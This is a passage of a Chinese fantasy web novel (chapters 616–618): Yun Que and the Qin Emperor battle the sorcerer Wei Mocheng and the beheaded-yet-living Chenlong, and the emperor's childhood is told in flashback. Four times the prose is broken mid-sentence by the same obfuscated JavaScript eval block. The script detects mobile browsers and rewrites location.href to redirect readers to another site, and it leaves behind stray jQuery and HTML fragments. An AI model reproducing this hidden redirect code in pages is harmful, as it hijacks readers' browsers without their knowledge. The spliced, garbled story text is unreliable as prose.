对面的辰龙紫袍晃动兜帽里没有五官而是显现出一片星辰从星辰中传来金铁摩擦般的冷语。 “既然陛下如此高尚那么敢问秦皇你的传承又是从何而来呢不仅我们好奇殿主也一样好奇。” 秦皇冷声道: “想知道的话让他亲自来大秦问朕!” 魏墨城摇了摇头微笑道: “陛下还是那么霸气连殿主都不屑一顾不知今日陛下可否做好准备葬身于少年城这道巫门秘法我帮陛下准备了好久夜魔缠身的滋味陛下也该尝一尝了。” 随着魏墨城的冷语四周无数怪脸呼啸着扑向秦皇。 云缺能看到那些怪脸的后方全都拖着一条长长的身体身体两侧长满了漆黑的手掌好似千足之虫 巫王秘法夜魔缠身! 如此强大的巫法云缺领教过。 那些怪脸是一只只夜魔非妖非鬼来自无边暗夜能穿透识海吞噬元神。 之前侵入识海空间的就是一只夜魔! 云缺第一次见识到魏墨城真正的力量难怪魏墨城与辰龙能活捉北域的妖都之王他们两个全是二品强者! 转瞬间无数怪脸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593950|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纷纷攀附在秦皇身上。 有的怪脸在啃咬有的怪脸在撞击有的怪脸在拼命往秦皇身上钻。 然而没有一张怪脸能穿透那件看 似普通的黑色龙袍! 魏墨城并未意外,轻笑道: “终将一死,陛下何不死个痛快……噗! 魏墨城突然脸色变了变,呕出一口鲜血。 在其身上,出现了一层暗淡的白光,形如手印,挥之不去。 魏墨城抹掉嘴角的血迹,将目光望向云缺,道: “如此威能的佛门手印,实在难以令人置信,云缺,你从何处得来的佛手印呢。 伤到魏墨城的并非秦皇,而是云缺之前拍出的一记佛陀手印! 虽然手印没能完全摧毁大阵,却伤到了藏于阵基中的魏墨城。 毕竟这座大阵的原身,极有可能是道祖所布,尽管残破,那也是超品强者的手段,佛陀转世的手印难以摧毁。 但魏墨城可不是什么超品,被佛陀手印的力量所伤。 云缺死死咬着牙,恶狠狠的瞪着魏墨城,嘴角翘起现出冷嘲,沙哑道: “吕青……教我的!他让我问问你……爽不爽! 对于魏墨城的恨意,云缺恨不得食其肉饮其血! 魏墨城不仅夺舍了吕青,还将整个斩妖司带进了死地,带着燕皇与大燕一同走向灭亡。 斩妖司,是云缺的家。 斩妖司里,全是云缺的家人。 而魏墨城,亲手摧毁了云缺的家,害死了所有家人! 此仇不报,云缺死都无法瞑目! 若非现在云缺被压制到极限,本身的力量也耗尽,无法再动用佛手印,否则云缺很想将剩下的两记手印全送给魏墨城。 即便拍不死对方,也能恶心死对方。 魏墨城淡然一笑,道: “我知道你恨我,我不在意,其实云缺,你应该更恨我才对,你看,这些脸,你是不是都很熟悉。 魏墨城说罢,汇聚在秦皇身上的无数怪脸纷纷改变了模样。 如妖如兽的五官竟变化为人族五官。 原来,这些夜魔都是巫法祭炼的生魂! 当云缺看到变化的怪脸后,一双血瞳开始不受控制的颤抖起来。 那些脸,云缺几乎都认得! 全都是前朝大燕斩妖司的师兄师姐们! 这一刻,云缺几乎被愤怒烧得心神俱裂!!! 原来斩妖司的家人们不仅在妖都尽数战死,死后连亡魂都不得安宁,被魏墨城尽数收取,炼制成无数夜魔! 云缺的眼前已经模糊不堪。 有血,也有泪。 云缺很想分辨出父亲是否也在其中,可越是瞪大眼睛,越看不清前方,只觉得黑暗越来越浓,夜幕越来越深。 眼前这无边夜幕当中,始终有两颗星辰不灭。 那是一双眼睛。 平静中透着淡淡的冷漠,冷漠中又携带着无穷的霸气! 那是秦皇的目光。 大秦之主,此时望向了云缺。 目光中没有任何怜悯,也没有任何同情,只是淡淡的道出了一句话。 “不争,就会死。 第616章 与天争命! 秦皇的目光虽然淡漠但那双清明的眸子深处却隐隐泛着一抹感慨。 被压制得难以动弹内心却充满了恨意的云缺让秦皇仿佛看到了自己。 一瞬间赢開的眼前浮现出自己年幼时的画面。 为了躲避九龙夺嫡的混乱母亲独自一人带着他住在天龙城边缘的一间小院里府里只有两个丫鬟一名下人以实际行动证明母子俩毫无争夺皇位的野心更没有争夺皇位的力量。 但是 那些野心勃勃的皇叔们仍旧不想放过这对母子在一天夜里杀将而来。 “不争!我们不争!” 秦皇耳畔是母亲的苦苦哀求。 可是血光仍旧在眼前炸起府里唯一的下人被砍掉了脑袋。 仅剩的两个丫鬟吓得瑟瑟发抖卷缩在墙角年幼的赢開被母亲紧紧抱在怀里。 “儿啊!快!快对叔伯们发誓说你这辈子永远不争皇位!” 秦皇听到母亲的声音在颤抖。 几岁大的赢開被吓坏了。 他自从降生便没见过父亲由母亲独自抚养他知道父亲也是皇子却不知道父亲的下落。 赢開从未走出过这间小小的院落因为母亲不许。 母亲说院外面有天大的凶险我们母子这辈子只能活在院子里踏出一步会惹来杀身大祸。 赢開从懂事起就觉得自己的世界只有院子这么大他也曾好奇院子外面是什么也曾偷偷爬上过墙头。 但是迎来的是母亲的责备与毒打。 赢開不再爬墙头 但他会听 他还会看看头顶的蔚蓝天空看落在墙头的鸟儿。 年幼的赢開有一种强烈的期待想要走出这间院子走进真正的天地。 但他不敢。 因为这种念头一旦说出来或者表现出来都会被母亲毒打一次比一次打得重。 以至于年幼的赢開心里有一种天然形成的阴霾。 赢開认为院子外面是大恐怖。 长久的压抑使赢開变得极度内向不喜欢说话甚至失去了表情从来不会笑也不会哭只会呆呆的坐在屋檐下 望着天空发呆。 每当母亲看到他如此模样的时候总会暗自垂泪嘴里不断咒骂着什么。 “快发誓!快发誓啊!” 母亲的催促越来越急越来越颤抖。 年幼的赢開始终咬紧牙关不肯吭声。 身上传来痛感。 惊恐的母亲开始打骂用的是手边的剪刀。 年幼的赢開后背出现血痕剪刀这种东西在慌乱的时候很容易扎进血肉。 身着蟒袍的叔伯们就站在屋子里冷漠的望着这对母子。 刀斧手立在一旁手里的鬼头刀在滴滴答答落下鲜血。 剧痛让赢開难以忍受他沙哑着开口说话。 “不争!我不争!” 母亲举起的剪刀终于没在落下泪流满面的哀求祈求同为皇室宗亲眼前的皇子们能放过他们母子一命。 “不争?” 身穿蟒袍的皇叔们发出冷笑。 “你可以不争但你的命不允许你不争啊皇侄!” 赢開咬着牙发誓道:“我什么也不争!什么也不要!只求能住在这间院子里就好。” “是吗既然你什么也不要那这两个丫鬟也没必要留着了。” 一名蟒袍皇子冷笑着一挥手。 两名刀斧手齐齐落刀。 咔嚓!咔嚓! 两道声音出现卷缩在角落的两个丫鬟人头落地。 其中一颗人头正好滚到赢開脚下年轻的脸庞上凝固着惊悚的表情。 赢開愣住了。 眼前的人头是唯一会与他交流的丫鬟。 小丫鬟只有十多岁从赢開出生就住在院子里偶尔会趁着母亲不注意悄悄给赢開讲一些院子外面的故事。 赢開知道院子外面有很多人也知道这里是巨大的皇城知道天下有很多美味佳肴也知道世上有着强大的修行者。 这些故事都是他从小丫鬟口中听来的。 府里的小丫鬟是赢開黑暗的人生里唯一的一点光亮。 而此刻 …… 石柱顶端 秦皇的眼瞳晃动起来。 赢開不是个喜欢回忆的人 他是大秦之主冷酷的帝王。 但是云缺的状态让赢開再一次看到了童年的自己。 尤其小丫鬟那颗人头仿佛就在眼前鲜血淋漓! 一滴清泪顺着眼角滑落…… 落泪的不是秦皇而是云缺。 当云缺注视着黑暗里唯一一双明亮之眸的那一刻云缺竟看到了秦皇儿时的画面! 秦皇的片刻回忆完完整整的呈现在云缺眼前。 这一刻 来自大晋的平天王与大秦帝王之间仿佛产生了奇异的共鸣! 云缺心里的愤怒与不甘与幼年时期的秦皇一模一样感同身受。 小丫鬟血淋淋的人头也呈现在云缺眼前! 不知为何 云缺的心里有一种无法抑制的悲意服侍秦皇母子的小丫鬟就像云缺最亲近的人一样。 如同黑夜里唯一的烛火而这缕火苗却在眼前熄灭。 奇异的共鸣让云缺感受到幼年秦皇的心情。 悲伤之后便是无尽愤怒! 愤怒着周围的蟒袍叔伯愤怒着自己身为皇孙却注定要成为残废的命运。 不争就会死…… 年幼的赢開突然间明白了一个道理。 而这份道理注定将陪伴他一生。 蟒袍皇叔冷笑着逼近狰狞道: “皇侄啊我们相信你不争但你要失去争夺的资格叔伯们才肯放心啊两只手或者两只脚你选择舍弃哪一个呢。” “放心不会很痛你瞧止血的灵丹叔伯们都给你准备好了。” 躲在母亲怀里的幼年赢開渐渐变得冷静下来突然间大声道: “我选择……争!” 一个争字出口 那蟒袍皇子惨叫一声血流如注大骂着: “砍了他的爪子!脚也砍断!吊着他一口命!我要他一辈子都是废人!” 刺伤皇子后赢開仗着身体小从几名皇子脚下钻了出去夺门而逃。 闯出院子赢開终于看到了真正的世界。 长长的街道一眼望不到边。 高大的树木郁郁葱葱。 草儿是绿的花儿是红的人们行走在街头热热闹闹。 唯独头顶的天空依旧那般高不可及那般冷漠空旷。 狂奔的赢開感觉呼吸几乎停滞心跳如雷却有一股热血在心窝里激荡不休。 此刻的云缺也是一样的感觉。 秦皇奔跑在天龙城的长街之上而云缺则奔跑在青狐山的丛林深处。 两个年纪相仿的身影 两个年幼的身影一边狂奔一边发出了不同、却相似的声音。 赢開:“与人争!” 云缺:“与妖争!” 赢開:“与天争!” 云缺:“与命争!” 最后两道小小的身影在奔跑中重叠于一处发出了同样悲愤而不甘的怒吼: “与!天!争!命!” 石柱上的秦皇突然间从周身爆发出一股漆黑的气浪犹如夜幕里的狂风撕裂了贴满浑身的夜魔。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13593951|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这股气机之强直接将魏墨城的黑手震开。 下一刻秦皇从心窝里拔出了天子剑一步踏出! 这一步仿佛踏出了一片天地! 四周的黑暗竟出现剧烈震荡空气中充满了刺耳风啸! 嗡!!!!!!!!!! 天子剑斩出! 斩出了一片奇异的刀光! 那刀光映现出山川大地江河湖泊! 成群的野马在奔腾成片的树木在生长满天大雁遍地牛羊。 还有数之不尽的子民在这片大地上辛勤劳作。 剑光斩出之际光影中的无数子民齐齐昂首望向天空或举着成熟的稻谷或举着翠绿的药草或举着丰盛的饭菜或举着锄镐与刀剑。 如同在为帝王祈福! 这一剑斩出的不仅是二品不灭武夫的威能斩出了大秦之主的怒火还斩出了万民之力! 咔嚓!!!!!!!! 划破夜黑的剑光横扫过辰龙的脖子带着兜帽的人头高高飞起。 当秦皇出剑的同时云缺也抬起了右掌。 掌心正对着被秦皇震开的魏墨城! “上次是吕青的这次……”云缺怒吼道:“是我的!让你再爽 一次! 轰隆隆!!!!!!!!!!!! 巨大的佛手印再度出现,笼罩了百丈空间。 佛光乍现之下,魏墨城避无可避,直接被拍了个正着,吐着血倒飞而出,一身星辰殿的紫袍在佛手印之下碎裂开来,浑身暴起大片血雾! 倒飞途中,魏墨城掐动法印,数之不尽的夜魔从他身上冒了出来,各种奇形怪状的面孔挤压在一起,组成了密密麻麻的屏障。 夜魔缠身,是魏墨城留给秦皇的杀招。 这次被他动用在自己身上。 即便有无数夜魔当肉盾,仍旧在佛手印中快速崩裂。 夜之恶魔,邪祟之物,佛陀手印正好克制! 魏墨城足足倒飞出数百丈,才停了下来,站立在虚空,浑身是血,气息虚弱。 佛手印也耗尽了威能,消散于无形。 云缺眼睁睁看着手印消散,心中不由得大为遗憾。 比起第一次佛陀手印,第二次动用,明显威能变弱了,最后的一次手印肯定会更弱。 没能击杀魏墨城,云缺实在不甘。 但他已经挺不住了。 两次动用佛手印,代价之大,几乎抽空了云缺的元神之力! 神智开始模糊,云缺的脑子里变得越来越沉。 随着天子剑的劈斩,四周的黑夜破裂开来,呈现出少年城的景色。 地面上, 无数少年们翘首以待,一个比一个虚弱,有些甚至奄奄一息。 用尽最后力气,云缺看了眼秦皇的伤口。 透心之伤,足以击杀任何修行者,如果秦皇随之战死,最后的赢家,仍旧是星辰殿。 秦皇那一剑的威能足够强大,斩杀了辰龙,但是魏墨城还没死,朱幺与欺风犬都没死! 一眼看去,云缺豁然一愣。 秦皇黑色的龙袍上,是一道长剑切开的口子。 从口子里,云缺能看到了一截森白的骸骨! 龙袍之下,居然没有血肉! 强烈的震惊,让云缺的脑海清醒了几分,强撑着想要仔细看清秦皇到底是活人还是死人。 正这时,云缺忽然听到一声金铁摩擦般的冷笑从身旁传来。 “呵,呵呵…… 豁然扭头! 云缺发现笑声的来源,居然是辰龙笼罩在兜帽里的人头! 注册本站会员可以解锁更多福利,快试试吧 第617章 妖都之王 呵呵,呵呵…… 诡异而熟悉的笑声,竟从人头传来。 云缺模糊不堪的神智,被震惊得清醒了几分。 辰龙,没死! 云缺努力的瞪着眼睛,终于看清了站在面前的无头尸体。 辰龙确实被秦皇枭首,脑袋掉了,绝非幻象。 不灭武夫能血肉再生,可断骨继接,甚至能将碎裂的脏腑重新恢复,浑身骨头被打碎也无所谓,很快即可接上。 但枭首,是致命伤。 别说二品不灭,连一品强者也扛不住。 二品武夫可以被扭断脖子而不死,但绝不会脑袋掉了还能活着。 无头尸体动了起来。 在石柱顶端信步而走,彷如在散步,铁块摩擦般的声音随之幽幽响起。 “大秦重宝天子剑,好生厉害,百年来,大秦几任帝王无人能动用万民之力,没想到,陛下登基二十余载,便已经掌握了如此力量,可喜,可贺。” 无头之躯在行走,声音却从地面上的兜帽人头里传出。 如此诡异的画面,看得满城少年后背发凉,头皮发麻。 之前的巫修法门笼罩了全城,以至于大皇子与段无病等人都不清楚刚才发生了什么,只看到秦皇在石柱顶端持剑而立。 石柱两侧的柳真真与史得侩已经放弃了挣扎,两人变得无比虚弱,气息暗淡,眼珠上蒙着一层死灰之色。 他们俩虽然境界够高,均为五品金身,但流逝的气血却最多,此刻到了油尽灯枯的地步。 柳真真与史得侩甚至感受不到自己的身体,仅存的神智,让两人看清了石柱上的局面。 无头的紫袍人,持剑的大秦皇帝,萎靡不振的云缺,还有那颗即将成型的血丹…… 柳真真在心里叹了口气,她没期盼还能活下去,她只是不忍心满城少年一起葬身于此。 史得侩倒是很想破口大骂,但他连哼哼的力气都没有,只能眼睁睁盯着城内的最后一场恶战。 无论少年城的城主,还是大将军,亦或者大秦皇子,大唐太子,或是满城少年修士,人们都知道这场危机到了最后时刻,大家活下去的全部希望,都在秦皇身上。 到了此时此刻,人们已经知道了朱幺的诡计。 血丹不是秦皇的计划。 少年城也不是秦皇所摧毁。 至始至终秦皇都将少年城视为大秦之地而满城少年修士则被挑唆了多年以秦皇为敌自以为是的认为少年城才是自由之地殊不知这处自由之地真相是一处埋骨之地。 后悔的情绪几乎在所有人的心头滋生。 十多年来不尊大秦的少年城何其热闹城内少年何其孤傲觉得天下风云出我辈天大地大任我行。 原来少年城才是彻头彻尾的一个笑话。 天大的笑话! 有人在哭泣为了自己的愚蠢而后悔。 有人在哀叹为了自己的莽撞而懊恼。 也有人在期盼期盼着亲临少年城的秦皇能为大家斩出一片生机。 云缺的心里没有任何期盼只是愣愣的盯着不远处的兜帽人头。 辰龙被枭首而不死的异样云缺在震惊之余想到了类似的场景。 断头而不死确实堪称奇迹但这种奇迹对云缺来说并不陌生。 因为云缺自己也曾经被枭首而不灭! 石柱上 秦皇斩出一剑之后目光变得森冷起来沉声道: “神龙见首不见尾枭首而不亡不愧是辰龙你这小人何时敢现出真容。” 行走的辰龙呵呵笑道: “容貌美丑又有何妨星辰殿看重的是实力不是样貌你若能杀掉我自然可以看到我的样子可惜陛下做不到。” “未必。”秦皇以双手握紧重剑冷声道:“既然一次斩不断你的人头那便多斩几次好了。” “呵呵呵呵呵呵……” 无头的躯体停下了脚步辰龙发出铁石摩擦般的声音:“怕是没机会了陛下有剑我亦有刀。” 随着辰龙的冷语瘫软在一旁的云缺突然发现一股熟悉的气息传来。 那是妖气! 云缺扭头一看 妖气从辰龙的兜帽人头上而来。 确切的说是辰龙被切断的脖子! 在云缺的血瞳之内他看到了熟悉的一幕。 一条条血线由兜帽里伸展而出连接着辰龙的无头之躯! 这些血线互相缠绕 组成了一条手腕般粗细的血色锁链,将兜帽人头拉扯向无头的躯体。 恐怖的一幕,在人们眼里充满了诡异。 没人见过如此惊悚的画面,所有人的眼里全是惊恐之色。 赢财看得眼睛都要瞪了出来,嘀咕道:“那是什么东西!砍头也不死?魔鬼吗? 赢人志吓得瑟瑟发抖,抓着他大哥的胳膊颤抖道: “肯、肯定是魔鬼!父皇一定有办法的!父皇一定能杀了他!皇兄你说对不对! 赢财说不出话来。 他想说对,可是眼前的局面告诉他,既然对方能与他们的父皇动手,绝非什么等闲之辈,这场恶战,输赢难料。 最让赢财担心的,其实不是掉脑袋而不死的神秘强敌,而是他父皇之前在城门处犹豫的场面。 大皇子虽然黑锅背得多,但心智很高,赢财看出了秦皇的犹豫。 赢财知道父皇肯定在忌惮着什么,否则以他父皇的脾气,哪能站在城门迟疑,早就冲进来大杀四方。 与赢财的担忧类似,云缺的心里也在渐渐发沉。 因为辰龙所展现出的能力,让云缺越发觉得熟悉。 辰龙,也是妖血武夫! 吼!!!!!!!!! 随着兜帽人头与躯体合拢,辰龙身后浮现出一团血光,血光中传来类似虎豹般的低吼。 在云缺眼前,出现了一幕熟悉的画面。 辰龙身后的血光,竟组成了一头类似狮虎的妖兽,獠牙如刀,浑身血红,一双猩红的竖瞳森冷得宛如万年寒冰。 看到那血色的妖兽虚影,云缺的脑海里立刻浮现出熟悉的字眼儿。 血狸!!! 辰龙身上的妖魂,与云缺身上的妖魂是同一种类! 所以辰龙也可以借助血狸的复生天赋,达到断头而不灭的奇迹! 当血雾转化为狸妖状态,云缺心里没来由的生出一种畏惧,仿佛在惧怕着对方。 这种畏惧不是云缺的情绪,而是月魁的情绪!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604050|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>云缺的耳畔,出现了月魁微微颤抖的声音: “父王…… 听闻这两个字,云缺随之恍然。 辰龙身上的血狸,居然就是妖都之王! 当年魏墨城与辰龙趁着妖 都之战的乱局,活捉了妖都之王,居然将其完全炼化,成为了与月魁一样的伴生妖魂。 嗡鸣声在此刻暴起! 辰龙身后的血色狸妖,碎裂开来,组成了一道红线没入辰龙手中。 血线变成了一把刀! 一把殷红到极致,看起来几乎漆黑如墨的妖刀! 光晕散去,辰龙抬起手中的妖刀,指向大秦帝王,冷笑道: “你有天子剑,我有化羽刀,只要陛下还在少年城,便没有胜算,二品境界的妖武者,陛下要如何应对呢。 随着辰龙的冷语,他兜帽里的星辰瞬间隐去,呈现出两颗猩红的竖瞳! 庞大到令人恐惧的妖气在辰龙身上暴起! 二品不灭,已经足够可怕,如今动用了妖力的辰龙,展现出强横到极致的力量。 二品境界的妖血武夫! 尽管二品妖武者还无法达到一品的战力,但是辰龙的气息已经强过了秦皇,达到二品巅峰程度。 秦皇面对的已经不是一位同阶,而是一位不灭加上一头堪比二品的妖族化羽! 面对如此可怕的强敌,回应辰龙的,只有秦皇的一声冷语。 “一战而已! 天子剑随着冷语而劈斩而出,携带着无穷剑气。 化羽程度的妖刀,同样斩出了一道惊天的剑光。 刀与剑,在半空遭遇,撞击出雷鸣般的轰鸣,大地震颤。 如此程度的战斗,在场的所有人全都失去了插手的资格。 连云缺也不例外。 别说云缺此时耗尽了全力,即便全盛的时候,充其量只能动用三阶妖王的战力。 而妖王,在这场恶战中只能沦为配角,入之必死! 其实云缺也打不动了。 现在能坚持住保持清醒,已经耗尽了全力,连动一下都成了奢望。 倒在石柱边缘,云缺只能眼睁睁看着两位强者在拼杀死战,没准什么时候一道剑气或者刀气外溢,就能将云缺斩成两半。 一道身影,落在云缺旁边。 魏墨城终于抗住了佛手印,浑身血迹被崭新的紫袍笼罩,看不出他到底伤势多重。 不过魏墨城的脸色比之前要苍白得多,气息也暗淡了许多。 看到魏墨城,云缺咬牙切齿,却难以动弹。 仇家就在眼前,却无法将其手刃,实在令人懊恼。 魏墨城看了眼对战的秦皇与辰龙,将目光落在脚下的云缺身上,面带轻笑道: “佛门手印威力不俗,不知师侄从何处得来,可否告知师伯,你说出来,我可以留你一命。 面对魏墨城的威逼利诱,云缺根本不屑一顾,开口骂道: “早说过了,吕青教我的!你想学,可以去找吕青请教一二!就看你敢不敢去找他! 魏墨城缓缓摇头,面带遗憾的说道: “人之将死,何必冥顽不灵,活着多好,大千世界有无穷享受,若是死了,便万念俱灭。 第618章 送你一张大脸 云缺也笑了起来笑得无比森冷道: “说实话你还不信那我也没办法不如你去地府问问你的大弟子是不是他教了我佛门手印你不去也没关系我可以……送你去!” 云缺拼尽全力抬起右掌对准了魏墨城。 魏墨城神色一变身体随之崩裂成无数漆黑的蝙蝠朝着四面八方飞去狼狈而逃。 呼啦啦的翅膀扇动声中是云缺肆无忌惮的大笑。 “监正啊监正原来你也是个胆小鬼 云缺确实在畅快而笑。 佛手印还能动用一次但云缺已经无力催动抬手的举动不过是戏耍魏墨城罢了。 身为棋子注定了被人摆布的命运无力反抗只能按照既定好的棋路一直走下去。 不过能戏耍一番棋手也是一份痛快。 虽然没什么用至少挺爽的。 看着无数黑蝠四散飞逃的模样云缺笑得畅快至极。 我是没能力掀棋盘但老子敢在你们的棋盘上撒尿! 等有力气了没准还能拉泡屎! 飞起的黑色蝙蝠纷纷合拢落回原地组成了魏墨城的身躯。 魏墨城并未懊恼摇了摇头轻笑道: “师侄啊你还是那么调皮斩妖司有了你才有了勃勃生机可惜斩妖司已经不复存在你的调皮与生机无人得见。” 云缺寒声道: “我不仅调皮还会杀人呢!监正大人你最后的结局必然死于我手!我会亲手替斩妖司的家人们报仇雪恨!” “若能死于你手也算一种造化但你现在做不到。”魏墨城微笑道:“我知道你重情重义还在怀念着斩妖司的人你想不想再见他们一面。” 云缺的目光越来越冷牙咬得咯吱作响。 魏墨城轻笑着挥动袍袖一张怪脸从他的长袖里掉了出来。 怪脸好似没睡醒以脸落地发出啪的一声。 摔到的怪脸挣扎着想要爬起来奋力晃动着看起来十分好笑。 下一刻恐怖的一幕出现! 怪脸四周竟生长处小小的手掌! 总共四只看起来极其诡异。 借助手掌怪脸终于爬 了起来,两只手当脚,站得摇摇晃晃,另外两只手伸开保持平衡。 本该可笑的一幕,任谁看到也笑不出来,只觉得阴森恐怖! 然而云缺的眼瞳里却泛起了血丝。 “葫芦……” 云缺从喉咙中发出愤怒的低语。 眼前的这张脸,云缺认得! 斩妖司除了云缺之外,最小的一名猎妖人,当年仅有十岁。 由于体型胖墩墩,像个葫芦似的,所以大家都叫他葫芦。 儿时的云缺,经常找葫芦玩耍。 葫芦嫌弃云缺太小,不爱搭理,云缺就跟在人家后边到处乱跑,有时跌倒了,葫芦就会转回身把云缺抱起来,放在自己脖子上,让云缺骑着自己,两人在斩妖司里到处乱窜。 儿时的玩伴,早已葬身在北域妖都。 时隔多年,云缺再次见到了葫芦。 不过葫芦已经不再是活人,而是被魏墨城抽离了元神,炼制成一只夜魔! “魏墨城……你该死!!!”云缺咬牙切齿:“老天早晚会一道天雷劈死你!” 魏墨城始终在微笑,即便被骂也从不恼怒,道: “师侄啊,你可知我如此凶戾如此卑鄙,为何还能活到现在,连老天都只能眼睁睁看着我在世间作恶,杀人无数,反而活得很好。” 无需云缺回答,魏墨城彷如自语般继续说道。 “因为世人不认善恶,只认强弱,大燕是丛林,大晋也是丛林,哪怕大唐与大秦甚至整个云州,均为丛林,在这片危机遍布的丛林里生活,强者,永远会活到最后。” “见到故人,你该高兴才对,葫芦在北域战死的模样很惨,手脚尽数被妖物吞噬,所以我帮他多做了两只手,这样,他就能死而瞑目。” “对了,你知道他为何会被妖兽啃掉了手脚,是因为你啊,他在临死的时候还在到处找你,可惜,他永远也找不到你。” 魏墨城始终在笑。 可是那温和的笑容,在云缺眼里与魔鬼无异! 云缺多想一刀砍死魏墨城,将这个害得大燕灭国,害得斩妖司所有人都死绝的罪魁祸首千刀万剐! 可是云缺没有力量。 二品巫王的威压,加上旁边两位二品武者死斗所散发的狂暴气机,让云 缺犹如恶浪中的小船,只能随着风暴而起起伏伏。 有心杀贼,无力回天…… 魏墨城背着手,面带微笑的望着云缺,道出了一句令云缺愤怒到极致的话语。 “我这里,还有些斩妖司的故人,师侄啊,你想不想,见见你爹呢。” 云缺的脑海里如同有无数惊雷在炸裂,头疼欲裂。 魏墨城的一句话,险些令云缺愤怒得昏厥过去。 云缺强撑着神智,死死咬着牙道: “我……我……我想见你妈!!!” 拼尽最后一丝力气,云缺晃动右手。 佛手印已经打不出去了,但是云缺手里还有东西。 之前拿出来的武神炮的炮弹,始终在云缺旁边,一直被当做个支撑,压在云缺身下。 这时云缺只想将炮弹扔在魏墨城脸上。 肯定炸不死他,至少听个动静也能解解恨。 很可惜。 云缺的力量已经不足以扔出炮弹,拍出的手掌软绵绵无力,仅仅将炮弹往前推出了一尺的距离。 炮弹本就在石柱边缘,这下直接掉了出去。 别说炸到魏墨城,连半点威胁都没有…… 云缺无力的瘫倒在地,眼前只能看到石柱下方无数面容枯槁的少年,还有那枚下坠的炮弹。 好巧不巧的是,左兰山就被钉死在石柱中段,而且就在云缺的正下方。 掉出去的炮弹,直接朝着大秦丞相的脑袋落了下去。 云缺有点想笑,却笑不出来。 只能在心里默默解释。 丞相啊丞相,不是我故意要炸你,实在是你死的地方太倒霉了,炮弹本来想炸魏墨城,结果落你头上,到时候死无全尸,你可别怪罪我…… 云缺这边在心里嘀咕呢,炮弹已经砸在左兰山的头顶。 轰隆一声巨响!! 武神炮的威能足够 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604051|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怖,炸起了一团巨大的火光,中心石柱都随着晃了晃。 云缺在心里叹了口气。 心说得了,大秦丞相这次肯定死无全尸,要是有人来收尸,只能在石柱下边找点碎骨头之类的东西下葬。 火光很快消散。 云缺的姿态,令他只能看着石柱下方,连转身都没了力气 。 随后云缺的目光诧异了起来。 左兰山没被炸成碎块只是头发都被炸焦糊了原本是垂着头被炸完之后居然仰着头。 遍布黑灰的脸上看不出什么表情反正看起来挺像是死不瞑目的。 要不然怎么还从嘴巴里冒黑烟呢…… 左兰山直勾勾盯着石柱顶端嘴里的黑烟突然变成了喷涌而出的鲜血! 别人吐血大多一两口多说两三口这位大秦丞相居然吐起来没完! 噗噗的吐啊简直可以用喷泉来形容。 云缺都看呆了 几个呼吸而已左兰山至少喷出来十斤血! 怎么这是给炸漏了? 云缺正胡思乱想发现左兰山喷出的鲜血并不下落而是在其头顶汇聚成一个个鲜红的字迹! 眼前始终模糊云缺努力睁眼想要看清字迹结果无数血字呼啸而起! 云缺下意识的打算缩脖子毕竟现在的状态是脑袋探出石柱外面如果能缩回去至少安全一点。 但是做不到。 云缺又不是乌龟身体动弹不得的情况下再如何缩脖子也无法把脑袋收回来。 狂风呼啸! 云缺觉得迎面吹来了一股飓风血腥气扑鼻脸上被狂风刮得火辣辣的好像被扇了几百个耳刮子。 除此之外倒是没有其他危险。 故意的! 左兰山那老贼肯定故意的! 云缺在心里暗骂不就掉了个炮弹下去嘛失手而已我又不是故意的你丫的趁机打我脸!好生小气! 骂归骂云缺一点都不生气因为左兰山没死透! 即便是濒死的大儒在如今局面也是一份难得的助力。 血字冲天而起在擂台上空组成了一张苍老而威严的巨大面孔与左兰山的脸庞一般无二。 组成面孔的血字不知携带着什么力量 血脸出现的瞬间魏墨城立刻往后退了几步神色不再是之前的云淡风轻而是带着一股忌惮。 他感受到了一种克制之力的出现! 发现魏墨城的动作云缺大笑道: “监正老贼!你不是喜欢祭炼人脸么今天送你一张大脸!丞相老匹夫!给我咬他!” 云缺骂完之后魏墨城的神态倒是没什么变化反而血字大脸的表情有点古怪撇着嘴角好似在愤怒。 云缺一句话把两人全给捎带上了。 监正是老贼丞相是老匹夫反正没一个好东西。 